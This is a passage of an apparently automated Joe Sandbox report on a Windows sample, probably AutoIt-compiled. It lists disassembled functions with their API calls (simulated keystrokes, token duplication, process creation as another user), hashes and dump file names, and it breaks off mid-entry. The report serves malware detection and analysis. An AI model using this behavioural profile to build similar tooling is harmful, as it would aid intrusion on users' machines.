                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: ProtectVirtual
                              • String ID:
                              • API String ID: 544645111-0
                              • Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                              • Instruction ID: 21b87f0337b3904faf2e49e7d89a80b8c5538d611ad57d97d778efbd48141229
                              • Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                              • Instruction Fuzzy Hash: 8131F770A00105DBC718DF88E590AAAF7B1FB49310B6486A6E409CF355DB78EDC1CBD9
                              Function 00408F40 Relevance: 1.6, APIs: 1, Instructions: 71COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: e5559574dc10eca8e97d8025a500eef8ee7d185e3c773571fee143e03780f234
                              • Instruction ID: 427b4a632c312742ac0951887501238d3178a51c37fde1d0fd35c98815df3d2a
                              • Opcode Fuzzy Hash: e5559574dc10eca8e97d8025a500eef8ee7d185e3c773571fee143e03780f234
                              • Instruction Fuzzy Hash: 21119674200201ABDB249F36D984E26B3A5AF45304B244D2FF9C5D7790DB7CE881DB5E
                              Function 0045E17D Relevance: 1.6, APIs: 1, Instructions: 60COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 35b7bc891c26268d2cb6d46035521dde4ecfc0337a7d2d2d45483da740e67eee
                              • Instruction ID: fe3c5e01fee558804f1d0cd68762aa03bf47037873853bda5dcd607d85013340
                              • Opcode Fuzzy Hash: 35b7bc891c26268d2cb6d46035521dde4ecfc0337a7d2d2d45483da740e67eee
                              • Instruction Fuzzy Hash: 2D118B352046019FDB10DF69D884E96B3E9AF8A314F14856EFD298B362CB35FC41CB95
                              Function 00414C76 Relevance: 1.5, APIs: 1, Instructions: 40COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: __lock_file
                              • String ID:
                              • API String ID: 3031932315-0
                              • Opcode ID: 9d46abaf5bc0bef18357e8259ddf310e5220bee08d011669e2131a09b3543261
                              • Instruction ID: 324047821ed349453e17c5e7f52af34d31ade4ebcb64e32b23ce3c6ad3b356a0
                              • Opcode Fuzzy Hash: 9d46abaf5bc0bef18357e8259ddf310e5220bee08d011669e2131a09b3543261
                              • Instruction Fuzzy Hash: FF011E71801219EBCF21AFA5C8028DF7B71AF44764F11851BF824551A1E7398AE2DBD9
                              Function 00443E36 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON
                              Download Yara Rule
                              APIs
                              • WriteFile.KERNELBASE(?,?,?,?,00000000,?,?,?,004263D0,?,00487ACC,00000003,0040DE90,?,?,00000001), ref: 00443E54
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: FileWrite
                              • String ID:
                              • API String ID: 3934441357-0
                              • Opcode ID: 873a582ac05df194872d3361efdc1b64d97226b1633050e8059638026df5ad0f
                              • Instruction ID: f8d6e32d6ecef3e6c51c5ea05c7ff41eb941b2b6d152ec47b845c679c5cedb0e
                              • Opcode Fuzzy Hash: 873a582ac05df194872d3361efdc1b64d97226b1633050e8059638026df5ad0f
                              • Instruction Fuzzy Hash: 6BE01276100318ABDB10DF98D844FDA77BCEF48765F10891AFA048B200C7B4EA908BE4
                              Function 004149C2 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: __wfsopen
                              • String ID:
                              • API String ID: 197181222-0
                              • Opcode ID: b5c1dd7f54315c70b952dff0fe33ec93e52da603c388fdf08d18a597afa050f6
                              • Instruction ID: b34ddb7a850719c89311ce964fc9f65e9e9400c6a390d5c1cbb008c3125e494a
                              • Opcode Fuzzy Hash: b5c1dd7f54315c70b952dff0fe33ec93e52da603c388fdf08d18a597afa050f6
                              • Instruction Fuzzy Hash: 82C092B244020C77CF112A93EC02F9A3F1E9BC0764F058021FB1C1A162AA77EAA19689
                              Function 0040DA20 Relevance: 1.3, APIs: 1, Instructions: 22COMMON
                              Download Yara Rule
                              APIs
                              • CloseHandle.KERNELBASE(?,?,00426FBF), ref: 0040DA3D
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: CloseHandle
                              • String ID:
                              • API String ID: 2962429428-0
                              • Opcode ID: 4893ac657bcef9b9334a0355bd28ce0f0291ef024a1c9f1561977d8c5be9d70a
                              • Instruction ID: 552ddd844a8bbede063c80161f66c4637379340f91e2bb70a518b226642b2913
                              • Opcode Fuzzy Hash: 4893ac657bcef9b9334a0355bd28ce0f0291ef024a1c9f1561977d8c5be9d70a
                              • Instruction Fuzzy Hash: B9E045B4A04B008BC6308F5BE444416FBF8EEE46203108E1FD4A6C2A64C3B4A1498F50
                              Function 041812E0 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON
                              Download Yara Rule
                              APIs
                              • Sleep.KERNELBASE(000001F4), ref: 041812F1
                              Memory Dump Source
                              • Source File: 00000000.00000002.1266299406.000000000417F000.00000040.00000020.00020000.00000000.sdmp, Offset: 0417F000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_417f000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Sleep
                              • String ID:
                              • API String ID: 3472027048-0
                              • Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                              • Instruction ID: 8dc0f52c3b7892e4bbbb1ace06854302a914d44c9828aa5c1156a6a81606eb7b
                              • Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                              • Instruction Fuzzy Hash: 87E0BF7594010DAFDB00EFA4D64969E7BB4EF04302F1005A5FD0192280D73099508A62

                              Non-executed Functions

                              Function 0047C81C Relevance: 74.2, APIs: 40, Strings: 2, Instructions: 674windowkeyboardnativeCOMMON
                              Download Yara Rule
                              APIs
                              • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0047C8E1
                              • NtdllDialogWndProc_W.USER32(?,0000004E,?,?), ref: 0047C8FC
                              • GetKeyState.USER32(00000011), ref: 0047C92D
                              • GetKeyState.USER32(00000009), ref: 0047C936
                              • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0047C949
                              • GetKeyState.USER32(00000010), ref: 0047C953
                              • 742845F0.USER32(00000002,000000F0), ref: 0047C967
                              • SendMessageW.USER32(00000002,0000110A,00000009,00000000), ref: 0047C993
                              • SendMessageW.USER32(00000002,0000113E,00000000,?), ref: 0047C9B6
                              • _wcsncpy.LIBCMT ref: 0047CA29
                              • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0047CA5A
                              • SendMessageW.USER32 ref: 0047CA7F
                              • InvalidateRect.USER32(?,00000000,00000001), ref: 0047CADF
                              • SendMessageW.USER32(?,00001030,?,0047EA68), ref: 0047CB84
                              • 6FDECB00.COMCTL32(00B91A40,00000000,00000000,00000000), ref: 0047CB9B
                              • 6FDEC2F0.COMCTL32(00B91A40,00000000,000000F8,000000F0), ref: 0047CBAC
                              • SetCapture.USER32(?), ref: 0047CBB6
                              • ClientToScreen.USER32(?,?), ref: 0047CC17
                              • 6FDEC530.COMCTL32(00000000,?,?,?,?), ref: 0047CC26
                              • ReleaseCapture.USER32 ref: 0047CC3A
                              • GetCursorPos.USER32(?), ref: 0047CC72
                              • ScreenToClient.USER32(?,?), ref: 0047CC80
                              • SendMessageW.USER32(?,00001012,00000000,?), ref: 0047CCE6
                              • SendMessageW.USER32 ref: 0047CD12
                              • SendMessageW.USER32(?,00001111,00000000,?), ref: 0047CD53
                              • SendMessageW.USER32 ref: 0047CD80
                              • SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 0047CD99
                              • SendMessageW.USER32(?,0000110B,00000009,?), ref: 0047CDAA
                              • GetCursorPos.USER32(?), ref: 0047CDC8
                              • ScreenToClient.USER32(?,?), ref: 0047CDD6
                              • GetParent.USER32(00000000), ref: 0047CDF7
                              • SendMessageW.USER32(?,00001012,00000000,?), ref: 0047CE60
                              • SendMessageW.USER32 ref: 0047CE93
                              • ClientToScreen.USER32(?,?), ref: 0047CEEE
                              • TrackPopupMenuEx.USER32(?,00000000,?,?,009C1C68,00000000,?,?,?,?), ref: 0047CF1C
                              • SendMessageW.USER32(?,00001111,00000000,?), ref: 0047CF46
                              • SendMessageW.USER32 ref: 0047CF6B
                              • ClientToScreen.USER32(?,?), ref: 0047CFB5
                              • TrackPopupMenuEx.USER32(?,00000080,?,?,009C1C68,00000000,?,?,?,?), ref: 0047CFE6
                              • 742845F0.USER32(?,000000F0), ref: 0047D086
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: MessageSend$ClientScreen$State$742845CaptureCursorMenuPopupTrack$C530DialogInvalidateNtdllParentProc_RectRelease_wcsncpy
                              • String ID: @GUI_DRAGID$F
                              • API String ID: 144575006-4164748364
                              • Opcode ID: 2b9e17ba3223fb7b4804536e302a42d427f78481ee09a8534aafb1e4469c1a6d
                              • Instruction ID: 980357f173c9be8e312ccaa606797ee7157b6525bda81ee0817efdfc4c954517
                              • Opcode Fuzzy Hash: 2b9e17ba3223fb7b4804536e302a42d427f78481ee09a8534aafb1e4469c1a6d
                              • Instruction Fuzzy Hash: F842AD706043419FD714DF28C884FABB7A5FF89700F14865EFA489B291C7B8E846CB5A
                              Function 00434418 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 133keyboardthreadwindowCOMMON
                              Download Yara Rule
                              APIs
                              • GetForegroundWindow.USER32 ref: 00434420
                              • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00434446
                              • IsIconic.USER32(?), ref: 0043444F
                              • ShowWindow.USER32(?,00000009), ref: 0043445C
                              • SetForegroundWindow.USER32(?), ref: 0043446A
                              • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00434481
                              • GetCurrentThreadId.KERNEL32 ref: 00434485
                              • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00434493
                              • AttachThreadInput.USER32(00000000,00000000,00000001), ref: 004344A2
                              • AttachThreadInput.USER32(00000000,00000000,00000001), ref: 004344A8
                              • AttachThreadInput.USER32(00000000,?,00000001), ref: 004344B1
                              • SetForegroundWindow.USER32(00000000), ref: 004344B7
                              • MapVirtualKeyW.USER32(00000012,00000000), ref: 004344C6
                              • keybd_event.USER32(00000012,00000000), ref: 004344CF
                              • MapVirtualKeyW.USER32(00000012,00000000), ref: 004344DD
                              • keybd_event.USER32(00000012,00000000), ref: 004344E6
                              • MapVirtualKeyW.USER32(00000012,00000000), ref: 004344F4
                              • keybd_event.USER32(00000012,00000000), ref: 004344FD
                              • MapVirtualKeyW.USER32(00000012,00000000), ref: 0043450B
                              • keybd_event.USER32(00000012,00000000), ref: 00434514
                              • SetForegroundWindow.USER32(00000000), ref: 0043451E
                              • AttachThreadInput.USER32(00000000,?,00000000), ref: 0043453F
                              • AttachThreadInput.USER32(00000000,00000000,00000000), ref: 00434545
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: ThreadWindow$AttachInput$ForegroundVirtualkeybd_event$Process$CurrentFindIconicShow
                              • String ID: Shell_TrayWnd
                              • API String ID: 2889586943-2988720461
                              • Opcode ID: 8fb90041bee2e10260771149cd23f534c9f7767a381d567acbe6a88cba9e6a8e
                              • Instruction ID: 0b42b206f44700a00bd4aa1610e9651ae8f7722fee000eb3c659fd44b6abead8
                              • Opcode Fuzzy Hash: 8fb90041bee2e10260771149cd23f534c9f7767a381d567acbe6a88cba9e6a8e
                              • Instruction Fuzzy Hash: AD416272640218BFE7205BA4DE4AFBE7B6CDB58B11F10442EFA01EA1D0D6F458419BA9
                              Function 00446313 Relevance: 37.0, APIs: 17, Strings: 4, Instructions: 234processCOMMON
                              Download Yara Rule
                              APIs
                              • DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?), ref: 0044638E
                              • CloseHandle.KERNEL32(?), ref: 004463A0
                              • OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 004463B8
                              • GetProcessWindowStation.USER32 ref: 004463D1
                              • SetProcessWindowStation.USER32(00000000), ref: 004463DB
                              • OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 004463F7
                              • _wcslen.LIBCMT ref: 00446498
                                • Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1
                              • _wcsncpy.LIBCMT ref: 004464C0
                              • 74FB5590.USERENV(?,00000020), ref: 004464D9
                              • 74FB7ED0.USERENV(?,?,00000000), ref: 004464F3
                              • CreateProcessAsUserW.ADVAPI32(?,00000000,00000000,00000000,00000000,?,?,?,?,000F01FF,00000400), ref: 00446522
                              • 74FB5030.USERENV(?,?), ref: 00446555
                              • CloseWindowStation.USER32(00000000), ref: 0044656C
                              • CloseDesktop.USER32(?), ref: 0044657A
                              • SetProcessWindowStation.USER32(?), ref: 00446588
                              • CloseHandle.KERNEL32(?), ref: 00446592
                              • 74FB7F30.USERENV(?), ref: 004465A9
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: StationWindow$CloseProcess$DesktopHandleOpen$B5030B5590CreateDuplicateTokenUser_malloc_wcslen_wcsncpy
                              • String ID: $@OH$default$winsta0
                              • API String ID: 3500460435-3791954436
                              • Opcode ID: 4d1d68c1aea3dabcf030405aafb24e1344eb51be90ba82aa3e7b9bd6ceeac822
                              • Instruction ID: a255b9755a473e3b45922b0ee48cea4cb67e1360e8ecd59b8ab49ad27cdc7b44
                              • Opcode Fuzzy Hash: 4d1d68c1aea3dabcf030405aafb24e1344eb51be90ba82aa3e7b9bd6ceeac822
                              • Instruction Fuzzy Hash: A28180B0A00209ABEF10CFA5DD4AFAF77B8AF49704F05455EF914A7284D778D901CB69
                              Function 004788BD Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 217timefileCOMMON
                              Download Yara Rule
                              APIs
                              • FindFirstFileW.KERNEL32(00000000,?,?), ref: 004788E4
                              • FindClose.KERNEL32(00000000), ref: 00478924
                              • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00478949
                              • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00478961
                              • FileTimeToSystemTime.KERNEL32(?,?), ref: 00478989
                              • __swprintf.LIBCMT ref: 004789D3
                              • __swprintf.LIBCMT ref: 00478A1D
                              • __swprintf.LIBCMT ref: 00478A4B
                              • __swprintf.LIBCMT ref: 00478A79
                                • Part of subcall function 0041329B: __flsbuf.LIBCMT ref: 00413314
                                • Part of subcall function 0041329B: __flsbuf.LIBCMT ref: 0041332C
                              • __swprintf.LIBCMT ref: 00478AA7
                              • __swprintf.LIBCMT ref: 00478AD5
                              • __swprintf.LIBCMT ref: 00478B03
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: __swprintf$FileTime$FindLocal__flsbuf$CloseFirstSystem
                              • String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
                              • API String ID: 999945258-2428617273
                              • Opcode ID: 438ad41bdba169d6dbcdf3912f97c2a8dc3502a0945a742a170651836116907f
                              • Instruction ID: 8fd0730747e081185947bc4026d2fd3d0a29cbe563c255e8678d3cf3417a7967
                              • Opcode Fuzzy Hash: 438ad41bdba169d6dbcdf3912f97c2a8dc3502a0945a742a170651836116907f
                              • Instruction Fuzzy Hash: 32719772204300ABC310EF55CC85FAFB7E9AF88705F504D2FF645962D1E6B9E944875A
                              Function 004033C0 Relevance: 26.6, APIs: 11, Strings: 4, Instructions: 359COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
                                • Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57
                              • GetCurrentDirectoryW.KERNEL32(00000104,?,?), ref: 00403451
                              • GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 00403467
                              • __wsplitpath.LIBCMT ref: 00403492
                                • Part of subcall function 00413A0E: __wsplitpath_helper.LIBCMT ref: 00413A50
                              • _wcscpy.LIBCMT ref: 004034A7
                              • _wcscat.LIBCMT ref: 004034BC
                              • SetCurrentDirectoryW.KERNEL32(?), ref: 004034CC
                                • Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1
                                • Part of subcall function 004115D7: std::exception::exception.LIBCMT ref: 00411626
                                • Part of subcall function 004115D7: std::exception::exception.LIBCMT ref: 00411640
                                • Part of subcall function 004115D7: __CxxThrowException@8.LIBCMT ref: 00411651
                                • Part of subcall function 00403AF0: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,?,?,?,0040355C,?,?,?,00000010), ref: 00403B08
                                • Part of subcall function 00403AF0: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,?,?,00000010), ref: 00403B41
                              • _wcscpy.LIBCMT ref: 004035A0
                              • _wcslen.LIBCMT ref: 00403623
                              • _wcslen.LIBCMT ref: 0040367D
                              Strings
                              • Unterminated string, xrefs: 00428348
                              • #include depth exceeded. Make sure there are no recursive includes, xrefs: 00428200
                              • Error opening the file, xrefs: 00428231
                              • _, xrefs: 0040371C
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: _wcslen$ByteCharCurrentDirectoryMultiWide_wcscpystd::exception::exception$Exception@8FullNamePathThrow__wsplitpath__wsplitpath_helper_malloc_memmove_wcscat
                              • String ID: #include depth exceeded. Make sure there are no recursive includes$Error opening the file$Unterminated string$_
                              • API String ID: 3393021363-188983378
                              • Opcode ID: ce77724faf1e7fbc9fcf9b1a922f2907e035de924d79ec5656a8af7ae9668c55
                              • Instruction ID: 51a390cb75b153cc6cab8b26b712b327f6f81406d0e69f910df9a3585dc9283e
                              • Opcode Fuzzy Hash: ce77724faf1e7fbc9fcf9b1a922f2907e035de924d79ec5656a8af7ae9668c55
                              • Instruction Fuzzy Hash: CCD105B1508341AAD710EF64D841AEFBBE8AF85304F404C2FF98553291DB79DA49C7AB
                              Function 0046A07E Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 253windowCOMMON
                              Download Yara Rule
                              APIs
